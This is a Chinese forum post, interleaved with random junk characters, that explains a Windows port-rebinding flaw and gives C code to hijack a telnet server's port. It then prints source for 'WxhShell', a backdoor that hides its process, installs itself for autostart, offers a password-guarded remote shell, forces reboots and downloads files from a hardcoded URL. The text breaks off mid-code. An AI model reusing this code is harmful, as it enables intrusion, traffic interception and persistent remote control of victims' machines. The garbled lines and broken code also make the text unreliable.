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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v(uYso_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I$Z8]&m  
83rtQ ;L  
  saddr.sin_family = AF_INET; 1Yj^N" =  
+&t`"lRl&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u} y)'eH  
~zEBJgeyh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |8xu*dVAp4  
@9yY`\"ed  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9 F"2$;  
&O0@)jIV  
  这意味着什么?意味着可以进行如下的攻击: ?!PpooYK  
zT;F4_p3G-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +k@$C,A  
pDW4DF:`(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z)z_]c-X+  
.2y2Qm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E038p]M!  
!3]}3jZ.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !3Xu#^Xxj  
+4<Ij/}p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zR)9]pJ-  
KW&5&~)2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J|vriI;  
Qyn~Vu43  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7#\\Ava$T  
lO?dI=}]  
  #include rlQ4+~  
  #include aTJs.y -I~  
  #include ?V3kIb  
  #include    ;xp^F KP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +mc0:e{WF  
  int main() {yPJYF_l  
  { B2}|b^'I  
  WORD wVersionRequested; R?,Oh*  
  DWORD ret; M oIq)5/  
  WSADATA wsaData; 7 (}gs?&w  
  BOOL val; IF"-{@  
  SOCKADDR_IN saddr; (]*otVJ  
  SOCKADDR_IN scaddr; z: x|;Ps!  
  int err; -Re4G78%  
  SOCKET s; s@Q, wa(  
  SOCKET sc; Ne6]?\Z  
  int caddsize; !1g2'  
  HANDLE mt; n\ l$R!zr  
  DWORD tid;   C7|z DJ_  
  wVersionRequested = MAKEWORD( 2, 2 ); zkFx2(Hq-f  
  err = WSAStartup( wVersionRequested, &wsaData ); 2m$\]\kCUv  
  if ( err != 0 ) { %hEhZW{:  
  printf("error!WSAStartup failed!\n"); Oy> V/  
  return -1; xPuuG{Sm  
  } ]{mz %\  
  saddr.sin_family = AF_INET; w 0V=49  
   y$J M=f$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hj~nLgpN  
=LP,+z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c:%ll&Xtn  
  saddr.sin_port = htons(23); *)+K+J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8OYw72&  
  { 3B{B6w}t&  
  printf("error!socket failed!\n"); :cx}I  
  return -1; @Yv+L)  
  } b+Ly%&  
  val = TRUE; +:JyXF u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g\Ck!KJ/y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BQWe8D  
  { s<}d)L(  
  printf("error!setsockopt failed!\n"); ;ALkeUR[  
  return -1; 9DAk|K  
  } w_O3];  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ynWF Y<VX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dnZA+Pa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y.pwj~s  
]<9KX} B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,qo"i7c{:  
  { Wmm'j&hI  
  ret=GetLastError(); ,5tW|=0@  
  printf("error!bind failed!\n"); m^6& !`CD  
  return -1; JjD'2"z  
  } y@\R$`0J  
  listen(s,2); Rn"Raq7Cn*  
  while(1) s]D&):  
  { [;rty<Z^b  
  caddsize = sizeof(scaddr); nPAVrDg O  
  //接受连接请求 SHc<`M'+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #osP"~{  
  if(sc!=INVALID_SOCKET) )QeXA )  
  { ~Ogtgr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2YU-iipdOq  
  if(mt==NULL) 9e`.H0  
  { %fv;C  
  printf("Thread Creat Failed!\n"); ]\fXy?2  
  break; A7|CG[wZ  
  } BCrX>Pp }r  
  } 9|;"+jlt  
  CloseHandle(mt); @W{VT7w  
  } &}YJ"o[I  
  closesocket(s); "s:eH"_s  
  WSACleanup(); e@Cv')]B  
  return 0; 0`{3|g  
  }   Rh=,]Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z9TUaMhF  
  { Y? 1 3_~ K  
  SOCKET ss = (SOCKET)lpParam; o$S/EZ  
  SOCKET sc; jbDap i<  
  unsigned char buf[4096]; qHAZ)Tz  
  SOCKADDR_IN saddr; 1;e"3x"  
  long num; ZQ&A '(tt4  
  DWORD val; @xO?SjH  
  DWORD ret; G`a,(<kT;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >u6*P{;\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R a> k#pQ  
  saddr.sin_family = AF_INET; :^G;`T`L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \R m2c8Z2  
  saddr.sin_port = htons(23); x]1G u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K`BNSdEN>  
  { zOkIPv52~  
  printf("error!socket failed!\n"); ]bPj%sb*@  
  return -1; 1XwW4cZ>:  
  } ]VYv>o`2  
  val = 100; `|t X[':  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a!_vd B  
  { TA x9<'  
  ret = GetLastError(); l'pu?TP{a  
  return -1; SO~]aFoYt  
  } t *8k3"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a\UhOPFF  
  { )]\?Yyg]  
  ret = GetLastError(); YY&3M  
  return -1; 3@d{C^\  
  } \Mi] !b|8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +PCsp'D d  
  { )_MIUQ%  
  printf("error!socket connect failed!\n"); NI@$"   
  closesocket(sc); >.tP7=  
  closesocket(ss); BW`)q/  
  return -1; (|{bZW}  
  } R%(ww  
  while(1) Hy?+p{{G  
  { Sxj _gn  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 86]})H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #P)7b,3pe  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gwf *M3(  
  num = recv(ss,buf,4096,0); v7V.,^6+  
  if(num>0) |Lq -vs?  
  send(sc,buf,num,0); zoj3w|G  
  else if(num==0) <Z$r\Huf  
  break; SP&Y|I$:  
  num = recv(sc,buf,4096,0); 3Zr'Mn  
  if(num>0) oicj3xkw?  
  send(ss,buf,num,0); +[=yLE#P%  
  else if(num==0) yf KJpy  
  break; g^CAT1}  
  } P,(Tu.EPk  
  closesocket(ss); l$i^e|*  
  closesocket(sc); .7BB*!CP  
  return 0 ; [P,/J$v^~  
  } Ap{2*o  
@YH<Hc  
CL~21aslI  
========================================================== \:ELO[(#|{  
'CrBxaA]s  
下边附上一个代码,,WXhSHELL :3FJe  
qkM<t?uS  
========================================================== S.!0~KR: U  
_n[4+S*v(  
#include "stdafx.h" uv:DO6 {  
3\=iB&Gf|  
#include <stdio.h> $'9b,- e  
#include <string.h> +npcU:(Kg  
#include <windows.h> _li\b-  
#include <winsock2.h> C:]&V*d.v4  
#include <winsvc.h> ,u^RZ[}  
#include <urlmon.h> NXwlRMbo  
]h Dy]  
#pragma comment (lib, "Ws2_32.lib") b),_rr  
#pragma comment (lib, "urlmon.lib") -:5]*zVp+-  
S`!MoIMsD  
#define MAX_USER   100 // 最大客户端连接数 jq4'=L$4  
#define BUF_SOCK   200 // sock buffer 4z~%gt74O]  
#define KEY_BUFF   255 // 输入 buffer  qep<7 QO  
L4)@lmd3  
#define REBOOT     0   // 重启 UF g N@  
#define SHUTDOWN   1   // 关机 rCwjy&SuU^  
v7"Hvp3w  
#define DEF_PORT   5000 // 监听端口 x J;DkPh  
d/Sx+1 "{T  
#define REG_LEN     16   // 注册表键长度 1I'ep\`"X  
#define SVC_LEN     80   // NT服务名长度 aS7[s6  
Ly0U')D:  
// 从dll定义API <lx~/3<m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \Ty%E<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bt$+l[U^J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \X'{ ee  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a"!D @a  
]Z@+ |&@L  
// wxhshell配置信息 7R$]BY=  
struct WSCFG { O_PKS$sz{  
  int ws_port;         // 监听端口  2Z ? N  
  char ws_passstr[REG_LEN]; // 口令 dM A"% R  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~}SOd<n)|  
  char ws_regname[REG_LEN]; // 注册表键名 5UFR^\e  
  char ws_svcname[REG_LEN]; // 服务名 $ }u,uI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /r4QDwu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nFVQOr;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iNTw;ov  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %-Z0OzWe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2 |fN*Wm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #>SvYP  
;st$TVzkn  
}; nUZ+N)*  
`.0QY<;  
// default Wxhshell configuration 'xO^2m+N;  
struct WSCFG wscfg={DEF_PORT, Vx]{<}(gr  
    "xuhuanlingzhe", 94=aVM\>>  
    1, zuWfR&U|W  
    "Wxhshell", D@Zb|EI%<  
    "Wxhshell", I|6wPV?  
            "WxhShell Service", Unl6?_  
    "Wrsky Windows CmdShell Service", _&/FO{F@m  
    "Please Input Your Password: ", `_IgH  
  1, ]M"l-A  
  "http://www.wrsky.com/wxhshell.exe",  TP6iSF  
  "Wxhshell.exe" 29 +p|n  
    }; EZm6WvlxSI  
UuV<#N)  
// 消息定义模块 hM!D6: t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Fm{U0;"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; # j_<iy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P=)&]Pz  
char *msg_ws_ext="\n\rExit."; );LkEXC_'  
char *msg_ws_end="\n\rQuit."; 1U"Fk3  
char *msg_ws_boot="\n\rReboot..."; @K 8sNPK  
char *msg_ws_poff="\n\rShutdown..."; d83K;Ryd  
char *msg_ws_down="\n\rSave to "; ^9})@,(D  
^ fo2sN"   
char *msg_ws_err="\n\rErr!"; !MOgM  
char *msg_ws_ok="\n\rOK!"; YN\!I  
o{EWNkmj  
char ExeFile[MAX_PATH]; M PMa  
int nUser = 0; 4{d`-reHg  
HANDLE handles[MAX_USER]; ?i.]|#{Z  
int OsIsNt; p,y(Fc~]g'  
")l_>y ?  
SERVICE_STATUS       serviceStatus; UB3b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z0;+.E!  
|[k/%  
// 函数声明 O k-*xd  
int Install(void); Az_s"}G  
int Uninstall(void); 4v+4qyMyE  
int DownloadFile(char *sURL, SOCKET wsh); ,0^:q)_  
int Boot(int flag); 1/t}>>,M  
void HideProc(void); J%?'Q{  
int GetOsVer(void); @"jV^2oY1  
int Wxhshell(SOCKET wsl); B!vI^W  
void TalkWithClient(void *cs); 4uU G0o  
int CmdShell(SOCKET sock); L0_qHLY  
int StartFromService(void); EwSE;R -  
int StartWxhshell(LPSTR lpCmdLine); x,Im%!h  
PvzB, 2":  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *D: wwJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S[o_$@|  
Qrt[MJ+#  
// 数据结构和表定义 +L4_]  
SERVICE_TABLE_ENTRY DispatchTable[] = O87Ptr8  
{ .\0PyV(  
{wscfg.ws_svcname, NTServiceMain}, LoHL}1BG-  
{NULL, NULL} `>@n6>f  
}; ^L&hwXAO:  
!]tZE%?  
// 自我安装 tUXq!r<'dT  
int Install(void) ~!c~jcq]lZ  
{ N?d4Pu1m  
  char svExeFile[MAX_PATH]; s=lkK / [  
  HKEY key; $ ]/a/!d  
  strcpy(svExeFile,ExeFile); Qh)QdW4  
. bh>_ W_h  
// 如果是win9x系统,修改注册表设为自启动 +tz^ &(  
if(!OsIsNt) { o=`FGowF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W s!N%%g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X<4h"W6  
  RegCloseKey(key); gi;#?gps  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j HT2|VGb*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pZR KM<k  
  RegCloseKey(key); $ctY#:;pV{  
  return 0; ;J3az`  
    } XgUvgJ  
  } s)q;{wz  
} L0{ehpvM  
else { B]K@'#  
b??k|q  
// 如果是NT以上系统,安装为系统服务 ;C8'7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &xF 2!t`  
if (schSCManager!=0) dU]>  
{ gt3;Xi  
  SC_HANDLE schService = CreateService 7d0E9t;W  
  ( Zy2@1-z6  
  schSCManager, N@UO8'"9K&  
  wscfg.ws_svcname, 75`*aAZ3  
  wscfg.ws_svcdisp, g)+45w*+5  
  SERVICE_ALL_ACCESS, pU`4bT(w%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yQ> *F  
  SERVICE_AUTO_START, %(`4wo},  
  SERVICE_ERROR_NORMAL, pb~&gliW  
  svExeFile, ZbJUOa?WF  
  NULL, N 3)OH6w"  
  NULL, iw|6w,-)C  
  NULL, pQaP9Y{OK  
  NULL, 4C&L%A  
  NULL ]9?_ m@Ihx  
  ); W?m?r.K?  
  if (schService!=0) DXAA[hUjF  
  { ZFy>Z:&S,  
  CloseServiceHandle(schService); 1!RD kZw e  
  CloseServiceHandle(schSCManager); dA<PQKm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ' vO+,-  
  strcat(svExeFile,wscfg.ws_svcname); ET4 C/nb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a_5`9BL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8H_3.MK  
  RegCloseKey(key); 3Q^@ !hu  
  return 0; ?^9TtxM  
    } 1!. CfQi  
  } !*wK4UcX"  
  CloseServiceHandle(schSCManager); b'Gn)1NE  
} @>'.F<:P<  
} K;2tY+I  
vVF#]t b|  
return 1; rt5UT~  
} /ey[cm2#[s  
Qci<cVgP  
// 自我卸载 =4 &/Pr  
int Uninstall(void) h3.wR]ut  
{ { #CyO b4  
  HKEY key; P)~PrTa%  
: 0Nd4hA  
if(!OsIsNt) { \M/XM6:UG4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TL(L[  
  RegDeleteValue(key,wscfg.ws_regname); KYY~ YP  
  RegCloseKey(key); v7VJVLH,I7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #;'1aT  
  RegDeleteValue(key,wscfg.ws_regname); /ve8);cH\  
  RegCloseKey(key); VIL #q  
  return 0; Ml8'=KN_  
  } \HF h?3-g  
} k*\=IacX0  
} LQSno)OZ  
else { EAq/Yw2$  
LV{a^!f`y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  }5^j08  
if (schSCManager!=0) v/f&rK*>  
{ 1c S{3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z#b31;A@$  
  if (schService!=0) Gnmj-'x  
  { VmrW\rH@  
  if(DeleteService(schService)!=0) { D,+I)-k<  
  CloseServiceHandle(schService); F7^d@hSV  
  CloseServiceHandle(schSCManager); `zAo IQ  
  return 0; mP GF Y  
  } @"T_W(i;BI  
  CloseServiceHandle(schService); {{ M?+]p,^  
  } A(#hyb#  
  CloseServiceHandle(schSCManager); .H+`]qLkL  
} @)iv'   
} D .| h0gU  
'3eP<earRP  
return 1; MId\ dFu  
} NG@9 }O  
o Wg5-pMWZ  
// 从指定url下载文件 Kx6_Vp  
int DownloadFile(char *sURL, SOCKET wsh) , %X~/V  
{ |{HtY  
  HRESULT hr; )Rla VAtM  
char seps[]= "/"; ~DcX}VCm  
char *token; o<locZ  
char *file; 7,ODh-?ez  
char myURL[MAX_PATH]; ,dKcxp~[  
char myFILE[MAX_PATH]; }Tn]cL{]C  
R% XbO~{u  
strcpy(myURL,sURL); uY5&93R  
  token=strtok(myURL,seps); FLY#   
  while(token!=NULL) /kyuL]6  
  { 6R5) &L  
    file=token; ]t]s/;9]K  
  token=strtok(NULL,seps); S|Wv1H>  
  } j2 "j Cv  
%VsuG A  
GetCurrentDirectory(MAX_PATH,myFILE); <pRb#G"  
strcat(myFILE, "\\"); >1xlP/4jx  
strcat(myFILE, file); he&*N*of:  
  send(wsh,myFILE,strlen(myFILE),0); 9}t2OJS*h"  
send(wsh,"...",3,0); LOi5 ^Um|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z= vfP%  
  if(hr==S_OK) d$g-u8  
return 0; +](^gaDw<L  
else ~h?zK 1  
return 1; oT$w14b  
6Km@A M]  
} X:+;d8rCy  
E N%cjvE  
// 系统电源模块  Aki8#  
int Boot(int flag)  {[o=df/  
{ 5>4<_-Tm  
  HANDLE hToken; R1/ )Yy  
  TOKEN_PRIVILEGES tkp; z^S=ji U++  
;id0|x  
  if(OsIsNt) { )Z0pU\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  V3K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `TKe+oS)  
    tkp.PrivilegeCount = 1; =dUeQ?>t=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ix ! O&_6s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i;`r zsRb  
if(flag==REBOOT) { s CSrwsbhv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U,Nf&g  
  return 0; 8vK Z;  
} gO4` e(W  
else { >f4H<V-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )Ve?1?s '8  
  return 0; pUZe.S>G  
} D#508{)  
  } $/nU0W  
  else { W"YFx*W  
if(flag==REBOOT) { t.c XrX`k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zS18Kl  
  return 0; j*<H18^G  
} U aj8}7v  
else { *^ncb,1+i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $`x4|a8-  
  return 0; WMZ&LlB%  
} (}vi"mCeW  
} bNp RGhlV  
a_w# ,^/P  
return 1; ~\<Fq\.x  
} ?8fa/e  
v/\l  
// win9x进程隐藏模块 Xa\{WM==;  
void HideProc(void) HlgF%\@a+U  
{ 4StiYfae  
0RN]_z$;H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z%(m:/N70  
  if ( hKernel != NULL ) 9a"[-B:  
  { `] ;*k2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N^xnx<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?SRG;G1  
    FreeLibrary(hKernel); K/KZ}PI-O  
  } U-#wFc2N  
I0.{OJ-  
return; 7NV1w*> /  
} L|EvI.f  
[>Z~& cm  
// 获取操作系统版本 ,*%%BTnR  
int GetOsVer(void) 'J#u ;KJ  
{ IM|VGT0  
  OSVERSIONINFO winfo; i-~HT4iw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l4u_Z:<w  
  GetVersionEx(&winfo); rePJ4i [y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bEyZRG  
  return 1; &z8@  rk|  
  else &]3_ .C  
  return 0; 9lNO ~8  
} lX/s Q  
:^j`wd1 h  
// 客户端句柄模块 q+5g+9  
int Wxhshell(SOCKET wsl) ^.aFns{wv  
{ K[PH#dF5,x  
  SOCKET wsh; `WGT`A"  
  struct sockaddr_in client; ({i}EC7{  
  DWORD myID; QI'ule  
"VR>nyG%  
  while(nUser<MAX_USER) .z4 fJx  
{ =<MSM\Rb  
  int nSize=sizeof(client); r) ;U zd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <R582$( I  
  if(wsh==INVALID_SOCKET) return 1; {Y6U%HG{{r  
O{SP4|0JV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c+,F)i^`  
if(handles[nUser]==0) '`&gSL.1a@  
  closesocket(wsh); nh"nSBRxk  
else .w/w] Eq  
  nUser++; Q^>"AhOiU  
  } rg64f'+Eug  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y|FF ;[  
q}p&<k  
  return 0; q@8Jc[\d  
} N]udZhkn  
6^y*A!xY  
// 关闭 socket s(jixAf  
void CloseIt(SOCKET wsh) j\k|5 ="w-  
{ ;NQ9A &$)  
closesocket(wsh); 9z6-HZG'~<  
nUser--;  u:JD  
ExitThread(0); P|HxD0c^u  
} e=&,jg?K  
"7}bU_":s  
// 客户端请求句柄 88x_}M^Fnl  
void TalkWithClient(void *cs) 8Yc'4v#}  
{ 1Kszpt(Ld  
ui%B|b&&  
  SOCKET wsh=(SOCKET)cs; rT7W_[&P  
  char pwd[SVC_LEN]; 6RV42r^pf  
  char cmd[KEY_BUFF]; lHQ:LI  
char chr[1]; 6U~AKq"+f  
int i,j; 67/JsL  
A Gu#*,K  
  while (nUser < MAX_USER) { 15dhr]8E  
Yci>'$tQ  
if(wscfg.ws_passstr) { 'Dw+k;RH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F3+ ;2GG2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2*;qr|h,  
  //ZeroMemory(pwd,KEY_BUFF); $2uk;&"?A=  
      i=0; @i2"+_}*  
  while(i<SVC_LEN) { /iURP-rl  
kT)[<`p  
  // 设置超时 _#32hAI  
  fd_set FdRead; p_%dH  
  struct timeval TimeOut; -E{D' X  
  FD_ZERO(&FdRead); 1oU/gm$7\q  
  FD_SET(wsh,&FdRead); PJ}d-   
  TimeOut.tv_sec=8; 8 p D$/  
  TimeOut.tv_usec=0; `t[b0; 'OH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0x BO5[w,Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -#@l`kt  
&JMp)zaI[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^f6p w!  
  pwd=chr[0]; 3{c6)vR2  
  if(chr[0]==0xd || chr[0]==0xa) { )1?#q[x  
  pwd=0; TL u+5f  
  break; p1t qwV  
  } wNc.z*+O"H  
  i++; $O nh2 ^  
    } ]q^6az(Ud  
? nx3# <  
  // 如果是非法用户,关闭 socket K(jo[S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PY81MTv0;  
} (|O9L s7N  
k-it#'ll{x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \jA#RF.W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RW"QUT  
vq?Lej  
while(1) { 4# +i\H`  
7)Cn 4{B6  
  ZeroMemory(cmd,KEY_BUFF); V[DiN~H  
B|WM;Y^  
      // 自动支持客户端 telnet标准   YMSZcI  
  j=0; 'Fq +\J#%  
  while(j<KEY_BUFF) { W*2d!/;7>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a4d7;~tZ  
  cmd[j]=chr[0]; z|Y  Ms?  
  if(chr[0]==0xa || chr[0]==0xd) { P{m(.EC_  
  cmd[j]=0; {$>Pg/  
  break; 2WO5Af%  
  } j!c~%hP  
  j++; r=}v` R&  
    } i,V,0{$  
=D~>$ Y  
  // 下载文件 <n1panS  
  if(strstr(cmd,"http://")) { HQkK8'\LP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jw5ldC>U  
  if(DownloadFile(cmd,wsh)) 33},lNS|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 216=7O2F  
  else }G/!9Zq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UaCfXTG  
  } <aQ<Wy=\  
  else { RCqd2$K"J+  
A3mvd-k  
    switch(cmd[0]) { J?#Xy9dz  
  0Sj B&J  
  // 帮助 ,ZV>"'I:  
  case '?': { ?lca#@f(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]9 $iUA%Ef  
    break; a^o'KN{  
  } ;mT  
  // 安装 +)xjw9b  
  case 'i': { <N{wFvF  
    if(Install()) XCyU)[wY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [$X^r<|P@  
    else emSky-{$u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +'|nsIx,  
    break; Sx8RH),k  
    } @{>0v"@  
  // 卸载 !8e;3W  
  case 'r': { -e4TqzRr  
    if(Uninstall()) ~pT1,1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }el7@Gv  
    else E1j3c :2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bWgRGJqt  
    break; 5szJ.!(  
    } \ )WS^KR%  
  // 显示 wxhshell 所在路径 6H1;Hl f  
  case 'p': { =&i#NSK  
    char svExeFile[MAX_PATH]; ,njlKkFw^Z  
    strcpy(svExeFile,"\n\r"); 9OYyR  
      strcat(svExeFile,ExeFile); boq=@Qh  
        send(wsh,svExeFile,strlen(svExeFile),0); l6*MiX]q  
    break; Z EK,Z['  
    } [ $5u:*  
  // 重启 9Nw&l@  
  case 'b': { pZcY[a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BCfmnE4%  
    if(Boot(REBOOT)) xa'^:H $X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Z$W"JP  
    else { yJ/YK  
    closesocket(wsh); |}?H$d  
    ExitThread(0); !bCSt?}@u  
    } j{j5TvsrY  
    break; G?v!Uv8O  
    } .07"I7  
